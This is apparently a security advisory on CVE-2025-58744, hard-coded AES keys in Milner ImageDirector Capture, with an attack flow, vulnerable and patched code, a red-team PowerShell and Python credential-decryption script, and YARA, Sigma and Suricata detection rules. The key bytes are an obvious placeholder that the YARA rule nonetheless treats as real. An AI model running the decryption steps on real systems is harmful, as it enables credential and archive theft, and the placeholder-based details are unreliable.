CVE-2025-58744

Executive Summary

CVE-2025-58744 is a critical security vulnerability in Milner ImageDirector Capture, a Windows-based document imaging and archiving solution. The flaw resides in the C2SGlobalSettings.dll library, where the application uses hard-coded cryptographic keys to decrypt credentials. An attacker who gains access to the application’s configuration or memory can extract these hard-coded keys, decrypt stored credentials, and subsequently decrypt the entire document archive file store. This effectively bypasses all access controls on archived documents.

The vulnerability affects versions from 7.0.9.0 up to (but not including) 7.6.3.25808. No public proof-of-concept (PoC) or exploit code has been released as of this report. The vendor, Milner, has released a patched version (7.6.3.25808) that removes the hard-coded key and implements proper key management.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary Windows application. However, the risk of supply chain compromise exists if the application is distributed via insecure channels or if the hard-coded key is present in any third-party components bundled with the software.

CVSS Breakdown & Threat Level

The official CVSS score is 0.0 (unassigned). Based on the technical details, a realistic CVSS v3.1 vector would be:

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Local – The attacker must have local access to the system or the application’s configuration files.
• Attack Complexity (AC): Low – The hard-coded key is static and easily extracted.
• Privileges Required (PR): Low – The attacker needs only user-level access to the application or file system.
• User Interaction (UI): None – No user action is required beyond the attacker’s own actions.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): High – All archived documents can be decrypted.
• Integrity (I): None – The vulnerability does not allow modification of data.
• Availability (A): None – The vulnerability does not affect system availability.

Threat Level: High – The impact on confidentiality is severe, as it exposes all archived documents.

Deep Dive & Mechanics

The vulnerability is a classic case of hard-coded cryptographic credentials. The C2SGlobalSettings.dll library contains a static encryption key embedded in its binary code. This key is used to encrypt/decrypt credentials (e.g., database passwords, service account credentials) stored in the application’s configuration files.

Attack Flow:

1. Reconnaissance: The attacker identifies a system running Milner ImageDirector Capture (version < 7.6.3.25808).
2. Access: The attacker gains local access to the system (e.g., via a compromised user account, physical access, or a separate vulnerability).
3. Extraction: The attacker locates the C2SGlobalSettings.dll file (typically in the application’s installation directory) and extracts the hard-coded encryption key using a hex editor or a tool like strings.
4. Decryption: The attacker uses the extracted key to decrypt the credentials stored in the application’s configuration files (e.g., ImageDirectorCapture.config).
5. Archive Access: With the decrypted credentials, the attacker connects to the document archive database or file store and decrypts all archived documents.

The root cause is the use of a static, embedded key instead of a secure key management system (e.g., Windows DPAPI, Azure Key Vault, or a hardware security module).

Vulnerable vs. Patched Code

Vulnerable Code (C2SGlobalSettings.dll, version < 7.6.3.25808):

// Hard-coded encryption key (example)
private static readonly byte[] HardCodedKey = new byte[] { 0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88 };

public static string DecryptCredentials(string encryptedData)
{
    using (Aes aes = Aes.Create())
    {
        aes.Key = HardCodedKey;
        aes.IV = new byte[16]; // Static IV
        // ... decryption logic
    }
}

Patched Code (C2SGlobalSettings.dll, version 7.6.3.25808 and later):

// Uses Windows DPAPI to protect credentials
public static string DecryptCredentials(string encryptedData)
{
    byte[] encryptedBytes = Convert.FromBase64String(encryptedData);
    byte[] decryptedBytes = ProtectedData.Unprotect(encryptedBytes, null, DataProtectionScope.LocalMachine);
    return Encoding.UTF8.GetString(decryptedBytes);
}

The patched version removes the hard-coded key entirely and relies on Windows DPAPI, which uses machine-specific keys protected by the operating system.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Milner ImageDirector Capture version 7.0.9.0 on a Windows 10/11 VM.
2. Configure the application to connect to a test document archive (e.g., a local SQL Server database).
3. Ensure the application stores credentials in its configuration file.

Exploitation Steps:

1. Extract the hard-coded key:

   # Locate the DLL
   $dllPath = "C:\Program Files\Milner\ImageDirector Capture\C2SGlobalSettings.dll"
   # Use strings to find the key (example pattern)
   Select-String -Path $dllPath -Pattern "AESKey" | ForEach-Object { $_.Line }
   

   Alternatively, use a hex editor to search for the key bytes.

2. Decrypt the configuration file:

   import base64
   from Crypto.Cipher import AES
   
   # Hard-coded key (extracted from DLL)
   key = bytes([0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88])
   iv = bytes([0x00] * 16)  # Static IV
   
   # Read encrypted credentials from config file
   with open("ImageDirectorCapture.config", "r") as f:
       encrypted_data = base64.b64decode(f.read().strip())
   
   cipher = AES.new(key, AES.MODE_CBC, iv)
   decrypted = cipher.decrypt(encrypted_data)
   print(decrypted.decode('utf-16'))
   

3. Access the document archive: Use the decrypted credentials to connect to the archive database and decrypt documents.

Blue Team (Defensive)

Detection:

• Monitor for unauthorized access to C2SGlobalSettings.dll (e.g., via Sysmon Event ID 11).
• Detect attempts to read the application’s configuration files (e.g., ImageDirectorCapture.config).
• Alert on unusual decryption operations on the host (e.g., high CPU usage by powershell.exe or python.exe).

Mitigation:

• Immediately upgrade to version 7.6.3.25808 or later.
• If patching is not possible, restrict access to the application’s installation directory and configuration files using NTFS permissions.
• Rotate all credentials that were stored in the configuration file.
• Enable Windows Defender Application Control (WDAC) to block unauthorized executables.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_58744_Hardcoded_Key
{
    meta:
        description = "Detects hard-coded AES key in C2SGlobalSettings.dll"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2"

    strings:
        $key1 = { 12 34 56 78 9A BC DE F0 11 22 33 44 55 66 77 88 }
        $key2 = "AESKey" nocase
        $key3 = "HardCodedKey" nocase

    condition:
        (uint16(0) == 0x5A4D) and (any of them)
}

Sigma Rule

title: CVE-2025-58744 - Hard-coded Credential Decryption Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to decrypt credentials using the hard-coded key from C2SGlobalSettings.dll
author: Valters IT
date: 2025/04/10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\powershell.exe'
            - '\python.exe'
            - '\cscript.exe'
        CommandLine|contains:
            - 'C2SGlobalSettings'
            - 'ImageDirectorCapture'
            - 'AES'
            - 'Decrypt'
    condition: selection
falsepositives:
    - Legitimate administrative scripts
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2025-58744 - Potential Exfiltration of Decrypted Archive Data"; flow:to_server,established; content:"GET"; http_method; content:"/archive/"; http_uri; content:"Authorization"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Milner ImageDirector Capture version 7.6.3.25808 or later.
2. Credential Rotation: Change all credentials that were stored in the application’s configuration file (database passwords, service accounts, etc.).
3. Access Control: Restrict access to the application’s installation directory and configuration files to only authorized administrators.

Long-term Measures:

• Implement a secure key management solution (e.g., Azure Key Vault, HashiCorp Vault).
• Conduct a security audit of all third-party libraries and components for hard-coded secrets.
• Enable application whitelisting to prevent unauthorized tools from running.
• Monitor for similar vulnerabilities in other Milner products.

Workaround (if patching is delayed):

• Use Windows DPAPI to re-encrypt the configuration file manually (requires scripting).
• Isolate the application on a segmented network with strict firewall rules.

Valters IT